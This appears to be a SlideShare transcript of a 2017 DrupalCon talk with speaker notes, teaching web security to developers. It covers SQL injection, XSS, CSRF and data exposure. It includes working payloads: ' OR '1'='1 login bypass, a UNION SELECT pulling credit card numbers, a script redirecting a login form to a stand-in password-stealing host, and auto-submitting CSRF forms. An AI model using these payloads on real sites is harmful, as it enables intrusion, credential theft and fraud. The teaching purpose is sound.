Hacking Your Way To Better Security - DrupalCon Baltimore 2017
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The document discusses common web application security vulnerabilities, focusing on SQL injection, cross-site scripting (XSS), and cross-site request forgery (CSRF). It provides examples of how these vulnerabilities can be exploited and offers strategies for defending against them, such as sanitizing and escaping user input. The importance of understanding these threats from an attacker's perspective is emphasized to better protect web applications.
![Colin O’Dell
Lead Web Developer at Unleashed Technologies
Baltimore PHP co-organizer
league/commonmark maintainer
PHP 7 Migration Guide e-book author
php[world] 2015 CtF winner
@colinodell](https://image.slidesharecdn.com/xy3lk2etmiqamxfgejtq-signature-c58d60c05258a49e192ee3177888d2c1ad71d7a26d05734b186239a15f667e84-poli-170426165618/85/Hacking-Your-Way-To-Better-Security-DrupalCon-Baltimore-2017-2-320.jpg)
![SQL Injection
Basics
$value = $_REQUEST['value'];
SELECT * FROM x WHERE y = '[MALICIOUS CODE HERE]' ";
$sql = "SELECT * FROM x WHERE y = '$value' ";
$database->query($sql);](https://image.slidesharecdn.com/xy3lk2etmiqamxfgejtq-signature-c58d60c05258a49e192ee3177888d2c1ad71d7a26d05734b186239a15f667e84-poli-170426165618/85/Hacking-Your-Way-To-Better-Security-DrupalCon-Baltimore-2017-10-320.jpg)
![Protecting Against
SQL Injection
$value = $_REQUEST['value'];
$sql = "SELECT * FROM x WHERE y = '$value' ";
$database->query($sql);](https://image.slidesharecdn.com/xy3lk2etmiqamxfgejtq-signature-c58d60c05258a49e192ee3177888d2c1ad71d7a26d05734b186239a15f667e84-poli-170426165618/85/Hacking-Your-Way-To-Better-Security-DrupalCon-Baltimore-2017-51-320.jpg)
![Protecting Against
SQL Injection
Block input with special
characters
Escape user input
$value = $_REQUEST['value'];
$escaped = mysqli_real_escape_string($value);
$sql = "SELECT * FROM x WHERE y = '$escaped' ";
$database->query($sql);
' OR '1' = '1 ' OR '1' = '1
mysqli_real_escape_string()
SELECT * FROM x WHERE y = '' OR '1' = '1'](https://image.slidesharecdn.com/xy3lk2etmiqamxfgejtq-signature-c58d60c05258a49e192ee3177888d2c1ad71d7a26d05734b186239a15f667e84-poli-170426165618/85/Hacking-Your-Way-To-Better-Security-DrupalCon-Baltimore-2017-53-320.jpg)
![Protecting Against
SQL Injection
Block input with special
characters
Escape user input
$value = $_REQUEST['value'];
$escaped = mysqli_real_escape_string($value);
$sql = "SELECT * FROM x WHERE y = '$escaped' ";
$database->query($sql);
' OR '1' = '1 ' OR '1' = '1
mysqli_real_escape_string()
SELECT * FROM x WHERE y = '' OR '1' = '1'](https://image.slidesharecdn.com/xy3lk2etmiqamxfgejtq-signature-c58d60c05258a49e192ee3177888d2c1ad71d7a26d05734b186239a15f667e84-poli-170426165618/85/Hacking-Your-Way-To-Better-Security-DrupalCon-Baltimore-2017-54-320.jpg)
![Protecting Against
SQL Injection
Block input with special
characters
Escape user input
Use prepared statements
$mysqli = new mysqli("localhost", "user", "pass", "db");
$q = $mysqli->prepare("SELECT * FROM x WHERE y = '?' ");
$q->bind_param(1, $_REQUEST['value']);
$q->execute();
Native PHP:
● mysqli
● pdo_mysql
Frameworks / Libraries:
● Doctrine
● Eloquent
● Zend_Db](https://image.slidesharecdn.com/xy3lk2etmiqamxfgejtq-signature-c58d60c05258a49e192ee3177888d2c1ad71d7a26d05734b186239a15f667e84-poli-170426165618/85/Hacking-Your-Way-To-Better-Security-DrupalCon-Baltimore-2017-55-320.jpg)
![XSS Attack
Basics $value = $_POST['value'];
$value = $rssFeed->first->title;
$value = db_fetch('SELECT value FROM table');
<?php echo $value ?>
Raw code/script
is injected onto a page](https://image.slidesharecdn.com/xy3lk2etmiqamxfgejtq-signature-c58d60c05258a49e192ee3177888d2c1ad71d7a26d05734b186239a15f667e84-poli-170426165618/85/Hacking-Your-Way-To-Better-Security-DrupalCon-Baltimore-2017-58-320.jpg)
![Protecting Against
XSS Attacks
$value = $_POST['value'];
$value = db_fetch('SELECT value FROM table');
$value = $rssFeed->first->title;
<?php echo $value ?>](https://image.slidesharecdn.com/xy3lk2etmiqamxfgejtq-signature-c58d60c05258a49e192ee3177888d2c1ad71d7a26d05734b186239a15f667e84-poli-170426165618/85/Hacking-Your-Way-To-Better-Security-DrupalCon-Baltimore-2017-72-320.jpg)
![Protecting Against
XSS Attacks
• Filter user input
$value = strip_tags($_POST['value']);
$value = strip_tags(
db_fetch('SELECT value FROM table')
);
$value = strip_tags($rssFeed->first->title);
<?php echo $value ?>](https://image.slidesharecdn.com/xy3lk2etmiqamxfgejtq-signature-c58d60c05258a49e192ee3177888d2c1ad71d7a26d05734b186239a15f667e84-poli-170426165618/85/Hacking-Your-Way-To-Better-Security-DrupalCon-Baltimore-2017-73-320.jpg)
![Protecting Against
XSS Attacks
• Filter user input
• Escape user input
$value = htmlspecialchars($_POST['value']);
$value = htmlspecialchars(
db_fetch('SELECT value FROM table')
);
$value = htmlspecialchars($rssFeed->first->title);
<?php echo $value ?>
<script> <script>
htmlspecialchars()](https://image.slidesharecdn.com/xy3lk2etmiqamxfgejtq-signature-c58d60c05258a49e192ee3177888d2c1ad71d7a26d05734b186239a15f667e84-poli-170426165618/85/Hacking-Your-Way-To-Better-Security-DrupalCon-Baltimore-2017-74-320.jpg)
![Protecting Against
XSS Attacks
• Filter user input
• Escape user input
• Escape output
$value = $_POST['value'];
$value = db_fetch('SELECT value FROM table');
$value = $rssFeed->first->title;
<?php echo htmlspecialchars($value) ?>](https://image.slidesharecdn.com/xy3lk2etmiqamxfgejtq-signature-c58d60c05258a49e192ee3177888d2c1ad71d7a26d05734b186239a15f667e84-poli-170426165618/85/Hacking-Your-Way-To-Better-Security-DrupalCon-Baltimore-2017-75-320.jpg)
Hacking Your Way To Better Security - DrupalCon Baltimore 2017
- 1. Hacking Your Way To Better Security @colinodell
- 2. Colin O’Dell Lead Web Developer at Unleashed Technologies Baltimore PHP co-organizer league/commonmark maintainer PHP 7 Migration Guide e-book author php[world] 2015 CtF winner @colinodell
- 3. Goals Explore several top security vulnerabilities from the perspective of an attacker. 1. Understand how to detect and exploit common vulnerabilities 2. Learn how to protect against those vulnerabilities @colinodell
- 4. Disclaimers 1.NEVER test systems that aren’t yours without explicit permission. 2.Examples in this talk are fictional, but the vulnerability behaviors shown are very real. @colinodell
- 5. OWASP Top 10
- 6. OWASP Top 10 Regular publication by The Open Web Application Security Project Highlights the 10 most-critical web application security risks @colinodell
- 9. SQL Injection Modifying SQL statements to: Spoof identity Tamper with data Disclose hidden information
- 10. SQL Injection Basics $value = $_REQUEST['value']; SELECT * FROM x WHERE y = '[MALICIOUS CODE HERE]' "; $sql = "SELECT * FROM x WHERE y = '$value' "; $database->query($sql);
- 12. Username Password Log In admin password' Invalid username or password. Please double-check and try again.
- 14. tail –n 1 /var/log/apache2/error.log MySQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "password'" at line 1. tail –n 1 /var/log/mysql/query.log SELECT * FROM users WHERE username = 'admin' AND password = 'password''; $ $
- 15. tail –n 1 /var/log/apache2/error.log MySQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "password'" at line 1. tail –n 1 /var/log/mysql/query.log SELECT * FROM users WHERE username = 'admin' AND password = 'password''; $ $ ~~
- 18. tail –n 1 /var/log/apache2/error.log MySQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "' test" at line 1. tail –n 1 /var/log/mysql/query.log SELECT * FROM users WHERE username = 'admin' AND password = '' test'; $ $
- 19. tail –n 1 /var/log/apache2/error.log MySQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "' test" at line 1. tail –n 1 /var/log/mysql/query.log SELECT * FROM users WHERE username = 'admin' AND password = '' test'; $ $ ~~~~~~~~
- 20. ~~~~~~~~ SELECT * FROM users WHERE username = 'admin' AND password = '' test'; SELECT * FROM users WHERE username = 'admin' AND password = ''; SELECT * FROM users WHERE username = 'admin' AND password = '' OR (something that is true); SELECT * FROM users WHERE username = 'admin' AND (true); SELECT * FROM users WHERE username = 'admin';
- 21. SELECT * FROM users WHERE username = 'admin' AND password = '' test '; ' test
- 22. SELECT * FROM users WHERE username = 'admin' AND password = '' test '; SELECT * FROM users WHERE username = 'admin' AND password = '' test '; ' test ~~~~~~~~~~~~~~~~~~~~
- 23. SELECT * FROM users WHERE username = 'admin' AND password = ' '; SELECT * FROM users WHERE username = 'admin' AND password = ' ';
- 24. SELECT * FROM users WHERE username = 'admin' AND password = '' '; SELECT * FROM users WHERE username = 'admin' AND password = '' '; ' ~~~~
- 25. SELECT * FROM users WHERE username = 'admin' AND password = '' ' '; SELECT * FROM users WHERE username = 'admin' AND password = '' ' '; ' ' ~~~~~~~~~~~~~~~~
- 26. SELECT * FROM users WHERE username = 'admin' AND password = '' OR ' '; SELECT * FROM users WHERE username = 'admin' AND password = '' OR ' '; ' OR '
- 27. SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1 ' '; SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1 ' '; ' OR '1 ' ~~~~
- 28. SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1' ' '; SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1' ' '; ' OR '1' ' ~~~~~~~~~
- 29. SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'=' '; SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'=' '; ' OR '1'='
- 30. SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1'; SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1'; ' OR '1'='1
- 31. Username Password Log In admin ' OR '1'='1 Unknown error.
- 32. Welcome Admin! Admin Menu: Give customer money Take money away Review credit card applications Close accounts
- 34. Blind SQL Injection Invalid username or password. Please double-check and try again. Unknown error. Valid query (empty result) Invalid query Welcome Admin! Valid query (with result) @colinodell
- 35. ' AND (SELECT id FROM user LIMIT 1) = ' Username Password admin Log In Real-Time MySQL View
- 36. ' AND (SELECT id FROM user LIMIT 1) = ' Username Password admin Unknown error. Log In Error LogQuery Log SELECT * FROM users WHERE username = 'admin' AND password = '' AND (SELECT id FROM user LIMIT 1) = '';
- 37. ' AND (SELECT id FROM user LIMIT 1) = ' Username Password admin Unknown error. Log In Query Log MySQL error: Unknown table 'user'. Error Log
- 38. ' AND (SELECT id FROM users LIMIT 1) = ' Username Password admin Unknown error. Log In Query Log MySQL error: Unknown table 'user'. Error Log
- 39. ' AND (SELECT id FROM users LIMIT 1) = ' Username Password admin Invalid username or password. Please double-check and try again. Log In
- 40. SQL Injection - Data Disclosure
- 41. SQL Injection - Data Disclosure http://www.onlinebookstore.com/books/123 SELECT * FROM books WHERE id = 123 $id = …; $sql = "SELECT title, author, price FROM books WHERE id = " . $id; $data = $database->query($sql); { 'title' => 'The Great Gatsby', 'author' => 'F. Scott Fitzgerald', 'price' => 9.75 } @colinodell
- 42. SQL Injection - Data Disclosure http://www.onlinebookstore.com/books/99999 SELECT * FROM books WHERE id = 99999 $id = …; $sql = "SELECT title, author, price FROM books WHERE id = " . $id; $data = $database->query($sql); { } @colinodell
- 43. SQL Injection - Data Disclosure http://www.onlinebookstore.com/books/????? SELECT * FROM books WHERE id = ????? $id = …; $sql = "SELECT title, author, price FROM books WHERE id = " . $id; $data = $database->query($sql); { 'title' => '', 'author' => '', 'price' => 0.00 } @colinodell
- 44. SQL UNION Query Column 1 Column 2 Column 3 The Great Gatsby F. Scott Fitzgerald 9.75 Column 1 Column 2 Column 3 Foo Bar 123 Column 1 Column 2 Column 3 The Great Gatsby F. Scott Fitzgerald 9.75 Foo Bar 123 UNION @colinodell
- 45. SQL UNION Query Column 1 Column 2 Column 3 The Great Gatsby F. Scott Fitzgerald 9.75 Column 1 Column 2 Column 3 (SELECT) 1 1 Column 1 Column 2 Column 3 The Great Gatsby F. Scott Fitzgerald 9.75 (SELECT) 1 1 UNION @colinodell
- 46. SQL UNION Query Column 1 Column 2 Column 3 (empty) Column 1 Column 2 Column 3 (SELECT) 1 1 Column 1 Column 2 Column 3 (SELECT) 1 1 UNION @colinodell
- 47. SQL Injection - Data Disclosure http://www.onlinebookstore.com/books/99999 UNION SELECT number FROM creditcards SELECT * FROM books WHERE id = ????? $id = …; $sql = "SELECT title, author, price FROM books WHERE id = " . $id; $data = $database->query($sql); { 'title' => '', 'author' => '', 'price' => 0.00 } @colinodell
- 48. SQL Injection - Data Disclosure http://www.onlinebookstore.com/books/99999 UNION SELECT number AS 'title', 1 AS 'author', 1 AS 'price' FROM creditcards SELECT * FROM books WHERE id = ????? $id = …; $sql = "SELECT title, author, price FROM books WHERE id = " . $id; $data = $database->query($sql); { 'title' => '', 'author' => '', 'price' => 0.00 } @colinodell
- 49. SQL Injection - Data Disclosure http://www.onlinebookstore.com/books/99999 UNION SELECT number AS 'title', 1 AS 'author', 1 AS 'price' FROM creditcards SELECT * FROM books WHERE id = 99999 UNION SELECT number AS 'title', 1 AS 'author', 1 AS 'price' FROM creditcards $id = …; $sql = "SELECT title, author, price FROM books WHERE id = " . $id; $data = $database->query($sql); { 'title' => '', 'author' => '', 'price' => 0 } @colinodell
- 50. SQL Injection - Data Disclosure http://www.onlinebookstore.com/books/99999 UNION SELECT number AS 'title', 1 AS 'author', 1 AS 'price' FROM creditcards SELECT * FROM books WHERE id = 99999 UNION SELECT number AS 'title', 1 AS 'author', 1 AS 'price' FROM creditcards $id = …; $sql = "SELECT title, author, price FROM books WHERE id = " . $id; $data = $database->query($sql); { 'title' => '4012-3456-7890-1234', 'author' => 1, 'price' => 1 } @colinodell
- 51. Protecting Against SQL Injection $value = $_REQUEST['value']; $sql = "SELECT * FROM x WHERE y = '$value' "; $database->query($sql);
- 52. Protecting Against SQL Injection Block input with special characters
- 53. Protecting Against SQL Injection Block input with special characters Escape user input $value = $_REQUEST['value']; $escaped = mysqli_real_escape_string($value); $sql = "SELECT * FROM x WHERE y = '$escaped' "; $database->query($sql); ' OR '1' = '1 ' OR '1' = '1 mysqli_real_escape_string() SELECT * FROM x WHERE y = '' OR '1' = '1'
- 54. Protecting Against SQL Injection Block input with special characters Escape user input $value = $_REQUEST['value']; $escaped = mysqli_real_escape_string($value); $sql = "SELECT * FROM x WHERE y = '$escaped' "; $database->query($sql); ' OR '1' = '1 ' OR '1' = '1 mysqli_real_escape_string() SELECT * FROM x WHERE y = '' OR '1' = '1'
- 55. Protecting Against SQL Injection Block input with special characters Escape user input Use prepared statements $mysqli = new mysqli("localhost", "user", "pass", "db"); $q = $mysqli->prepare("SELECT * FROM x WHERE y = '?' "); $q->bind_param(1, $_REQUEST['value']); $q->execute(); Native PHP: ● mysqli ● pdo_mysql Frameworks / Libraries: ● Doctrine ● Eloquent ● Zend_Db
- 56. Other Types of Injection NoSQL databases OS Commands LDAP Queries SMTP Headers @colinodell
- 57. XSS Cross-Site Scripting Injecting code into the webpage (for other users) • Execute malicious scripts • Hijack sessions • Install malware • Deface websites
- 58. XSS Attack Basics $value = $_POST['value']; $value = $rssFeed->first->title; $value = db_fetch('SELECT value FROM table'); <?php echo $value ?> Raw code/script is injected onto a page
- 59. XSS – Cross-Site Scripting Basics Snipicons by Snip Master licensed under CC BY-NC 3.0. Cookie icon by Daniele De Santis licensed under CC BY 3.0. Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.png Logos are copyright of their respective owners. <form id="evilform" action="https://facebook.com/password.php" method="post"> <input type="password" value="hacked123"> </form> <script> document.getElementById('evilform').submit(); </script> @colinodell
- 60. XSS – Cross-Site Scripting short.ly Paste a URL here Shorten @colinodell
- 61. XSS – Cross-Site Scripting short.ly http://www.colinodell.com Shorten @colinodell
- 62. XSS – Cross-Site Scripting short.ly http://www.colinodell.com Shorten Short URL: http://short.ly/b7fe9 Original URL: http://www.colinodell.com @colinodell
- 63. XSS – Cross-Site Scripting short.ly Please wait while we redirect you to http://www.colinodell.com @colinodell
- 64. XSS – Cross-Site Scripting short.ly <script>alert('hello world!');</script> Shorten @colinodell
- 65. XSS – Cross-Site Scripting short.ly <script>alert('hello world!');</script> Shorten Short URL: http://short.ly/3bs8a Original URL: hello world! OK X @colinodell
- 66. XSS – Cross-Site Scripting short.ly <script>alert('hello world!');</script> Shorten Short URL: http://short.ly/3bs8a Original URL: @colinodell
- 67. <p> Short URL: <a href="…">http://short.ly/3bs8a</a> </p> <p> Original URL: <a href="…"><script>alert('hello world!');</script></a> </p>
- 68. XSS – Cross-Site Scripting short.ly <iframe src="https://www.youtube.com/embed/dQw4w9WgXcQ"> Shorten @colinodell
- 69. XSS – Cross-Site Scripting short.ly <iframe src="https://www.youtube.com/embed/dQw4w9WgXcQ"> Shorten Short URL: http://short.ly/3bs8a Original URL: @colinodell
- 70. XSS – Cross-Site Scripting short.ly Please wait while we redirect you to @colinodell
- 71. XSS – Cross-Site Scripting document.getElementById('login-form').action = 'http://malicious-site.com/steal-passwords.php'; @colinodell
- 72. Protecting Against XSS Attacks $value = $_POST['value']; $value = db_fetch('SELECT value FROM table'); $value = $rssFeed->first->title; <?php echo $value ?>
- 73. Protecting Against XSS Attacks • Filter user input $value = strip_tags($_POST['value']); $value = strip_tags( db_fetch('SELECT value FROM table') ); $value = strip_tags($rssFeed->first->title); <?php echo $value ?>
- 74. Protecting Against XSS Attacks • Filter user input • Escape user input $value = htmlspecialchars($_POST['value']); $value = htmlspecialchars( db_fetch('SELECT value FROM table') ); $value = htmlspecialchars($rssFeed->first->title); <?php echo $value ?> <script> <script> htmlspecialchars()
- 75. Protecting Against XSS Attacks • Filter user input • Escape user input • Escape output $value = $_POST['value']; $value = db_fetch('SELECT value FROM table'); $value = $rssFeed->first->title; <?php echo htmlspecialchars($value) ?>
- 76. Protecting Against XSS Attacks • Filter user input • Escape user input • Escape output {{ some_variable }} {{ some_variable|raw }}
- 77. CSRF Cross-Site Request Forgery Execute unwanted actions on another site which user is logged in to. • Change password • Transfer funds • Anything the user can do
- 78. CSRF – Cross-Site Request Forgery Hi Facebook! I am colinodell and my password is *****. Welcome Colin! Here’s your news feed. Snipicons by Snip Master licensed under CC BY-NC 3.0. Cookie icon by Daniele De Santis licensed under CC BY 3.0. Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.png Logos are copyright of their respective owners. @colinodell
- 79. CSRF – Cross-Site Request Forgery Hi other website! Show me your homepage. Sure, here you go! Snipicons by Snip Master licensed under CC BY-NC 3.0. Cookie icon by Daniele De Santis licensed under CC BY 3.0. Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.png Logos are copyright of their respective owners. <form id="evilform" action="https://facebook.com/password.php" method="post"> <input type="password" value="hacked123"> </form> <script> document.getElementById('evilform').submit(); </script> @colinodell
- 80. CSRF – Cross-Site Request Forgery <form id="evilform" action="https://facebook.com/password.php" method="post"> <input type="password" value="hacked123"> </form> <script> document.getElementById('evilform').submit(); </script> @colinodell
- 81. CSRF – Cross-Site Request Forgery <form id="evilform" action="https://facebook.com/password.php" method="post"> <input type="password" value="hacked123"> </form> <script> document.getElementById('evilform').submit(); </script> Tell Facebook we want to change our password to hacked123 Snipicons by Snip Master licensed under CC BY-NC 3.0. Cookie icon by Daniele De Santis licensed under CC BY 3.0. Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.png Logos are copyright of their respective owners. @colinodell
- 82. CSRF – Cross-Site Request Forgery <form id="evilform" action="https://facebook.com/password.php" method="post"> <input type="password" value="hacked123"> </form> <script> document.getElementById('evilform').submit(); </script> Hi Facebook! Please change my password to hacked123. Snipicons by Snip Master licensed under CC BY-NC 3.0. Cookie icon by Daniele De Santis licensed under CC BY 3.0. Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.png Logos are copyright of their respective owners. Done! @colinodell
- 83. CSRF – Cross-Site Request Forgery short.ly <img src="https://paypal.com/[email protected]&amt=9999"> Shorten @colinodell
- 84. CSRF – Cross-Site Request Forgery short.ly Please wait while we redirect you to X @colinodell
- 85. Protecting Against CSRF Attacks Only use POST requests?
- 86. Protecting Against CSRF Attacks Only use POST requests? NO! POST requests are vulnerable too Common Misconceptions: “<img> tags can only make GET requests” “If a user doesn’t click a form it won’t submit”
- 87. Protecting Against CSRF Attacks Only use POST requests? Use a secret cookie?
- 88. Protecting Against CSRF Attacks Only use POST requests? Use a secret cookie? NO! Cookies are sent on every request.
- 89. Protecting Against CSRF Attacks Only use POST requests? Use a secret cookie? Use random CSRF tokens YES! <input type="hidden" name="token" value="ao3i4yw90sae8rhsdrf"> 1. Generate a random string per user. 2. Store it in their session. 3. Add to form as hidden field. 4. Compare submitted value to session 1. Same token? Proceed. 2. Different/missing? Reject the request.
- 90. Insecure Direct Object References Access & manipulate objects you shouldn’t have access to
- 91. Insecure Direct Object References @colinodell
- 92. Insecure Direct Object References Beverly Cooper @colinodell
- 93. Insecure Direct Object References @colinodell
- 94. Insecure Direct Object References @colinodell
- 95. Insecure Direct Object References @colinodell
- 96. Insecure Direct Object References @colinodell
- 97. Protecting Against Insecure Direct Object References Check permission on data input • URL / route parameters • Form field inputs • Basically anything that’s an ID • If they don’t have permission, show a 403 (or 404) page
- 98. Protecting Against Insecure Direct Object References Check permission on data input Check permission on data output • Do they have permission to access this object? • Do they have permission to even know this exists? • This is not “security through obscurity”
- 99. Sensitive Data Exposure Security Misconfiguration Components with Known Vulnerabilities
- 101. Sensitive Data Exposure - CHANGELOG @colinodell
- 102. Sensitive Data Exposure – composer.lock @colinodell
- 103. Sensitive Data Exposure – composer.lock @colinodell
- 104. Sensitive Data Exposure – .git @colinodell
- 105. Sensitive Data Exposure – robots.txt @colinodell
- 106. Private information that is stored, transmitted, or backed-up in clear text (or with weak encryption) • Customer information • Credit card numbers • Credentials Sensitive Data Exposure @colinodell
- 107. Security Misconfiguration & Components with Known Vulnerabilities Default accounts enabled; weak passwords • admin / admin Security configuration • Does SSH grant root access? • Are weak encryption keys used? Out-of-date software • Old versions with known issues • Are the versions exposed? • Unused software running (DROWN attack) @colinodell
- 108. Components with Known Vulnerabilities @colinodell
- 109. Components with Known Vulnerabilities @colinodell
- 110. Components with Known Vulnerabilities @colinodell
- 111. Protecting Against Sensitive Data Exposure, Security Misconfiguration, and Components with Known Vulnerabilities Keep software up-to-date • Install critical updates immediately • Install other updates regularly
- 112. Protecting Against Sensitive Data Exposure, Security Misconfiguration, and Components with Known Vulnerabilities Keep software up-to-date Keep sensitive data out of web root • Files which provide version numbers • README, CHANGELOG, .git, composer.lock • Database credentials & API keys • Encryption keys
- 113. Protecting Against Sensitive Data Exposure, Security Misconfiguration, and Components with Known Vulnerabilities Keep software up-to-date Keep sensitive data out of web root Use strong encryption • Encrypt with a strong private key • Encrypt backups and data-in-transit • Use strong hashing techniques for passwords
- 114. Protecting Against Sensitive Data Exposure, Security Misconfiguration, and Components with Known Vulnerabilities Keep software up-to-date Keep sensitive data out of web root Use strong encryption Test your systems • Scan your systems with automated tools • Test critical components yourself • Automated tests • Manual tests
- 115. Next Steps Test your own applications for vulnerabilities Learn more about security & ethical hacking Enter security competitions (like CtF) Stay informed @colinodell
- 116. Questions?
- 117. THANK YOU! WHAT DID YOU THINK? Locate this session at the DrupalCon Baltimore website: http://baltimore2017.drupal.org/schedule Take the survey! https://www.surveymonkey.com/r/drupalco nbaltimore Colin O'Dell @colinodell
Editor's Notes
- #3: 14 years Capture the Flag is Not a professional security researcher, but I’d like to share some of that knowledge with you today
- #4: “Goals of this intermediate-level talk”
- #5: “Asking forgiveness is easier than asking for permission” Not if you’re in jail ---- I might mention some real sites, but none are actually vulnerable Just make it easier to explain things since you’re probably familiar with how they’re supposed to function
- #7: Non-profit organization Provide free articles, resources, and tools for web security Each risk is documented with a description, detailed examples, mitigation techniques, and references to other helpful resources
- #21: [Quickly]
- #35: Syntax error Single quote is missing its pair Query is structured differently than expected Table or column doesn’t exist If we know site is vulnerable and see this (#2) SQL injection almost worked Table and column names are valid Assertion failed SQL injection worked (definitely) Database and column names are valid Assertion succeeded or conditional bypassed
- #36: Let’s try to figure out table and column names Probably a user table
- #41: But previous method is all guesswork What if… just show the data?
- #43: OUTRO: So that’s the desired functionality But what if this site was vulnerable? What could we do? Well…
- #44: Maybe we could somehow set the id to cause a SQL injection that ouputs other information we want. But how you ask? With the SQL UNION operator…
- #54: CLICK TO ANIMATE EXPLANATION OUTRO: Or better yet…
- #55: CLICK TO ANIMATE EXPLANATION OUTRO: Or better yet…
- #60: So when the server sends the code, The browser runs it as-is Just like all other HTML/JS that intentionally runs
- #66: (EXPLAIN CODE) This JS should create an alert popup window (SUBMIT)
- #70: AUDIO STARTS NEXT SLIDE
- #73: Ex 1: REDDIT Ex 2: phpbb forums
- #75: Some data loss Pastebin, Gist, etc
- #76: Safer, no data loss
- #78: Laravel blade – also automatic, similar syntax
- #84: OUTRO: Can also be done by using XSS
- #87: [Cross site request forgery] What if we… Would that be safe?
- #88: This is one of many common misconceptions some developers have. For example…
- #91: Hidden value, only shown on our website, that only us and the current page know OTHER SITES CANT SEE THIS VALUE, ONLY THE USER (due to browser’s same-origin policy) NOT SAVED TO COOKIE OR AVAILABLE OUTSIDE WEBSITE! (AFTER BULLETS) Remember, the attacker doesn’t have access to their session or the HTML you generated dynamically for the particular user.
- #93: Let’s imagine Facebook is vulnerable to [READ TITLE] Just change the 9 to an 8…
- #94: Even though Facebook never linked us here, we still got here And FB didn’t check again at _this_ point in time OUTRO: Fake example – FB doesn’t do this…
- #95: Facebook does check whether you’re authorized to see the image OUTRO: Not just limited to URLs…
- #98: If bank is vulnerable, and form is submitted, They won’t check the ID and allow the transfer to go through Bad!
- #99: #2 – I like Symfony because it whitelists values in values in dropdowns (…) #3 – Good guideline, but not all-encompassing rule
- #100: #3 – That means hiding the objects / IDs as the only measure of security What I mean is not disclosing information users shouldn’t see, or showing actions they can’t take
- #101: Actually three different vuln Similar enough
- #102: Is private data being exposed to the world?
- #108: OUTRO: So that’s sensitive data exposure. In a similar vein we have…
- #109: [DROWN: fast description]
- #112: You might be thinking OMG they explain the attack? Yes, but it’s a good thing! Problem is: your version is exposed, hackers may know you’re vulnerable
- #113: #1 – If there’s a patch available, there’s also a hacker who can understand the original problem and create an exploit #2 – Otherwise software falls into decay and is extremely hard to upgrade when the next critical update rolls out
- #114: END: But really, you should hide them
- #116: Good advice in general for all security topics we’ve covered And that wraps up the last set of vulenerabilities we’re covering today
- #117: Podcasts Slashdot Subreddits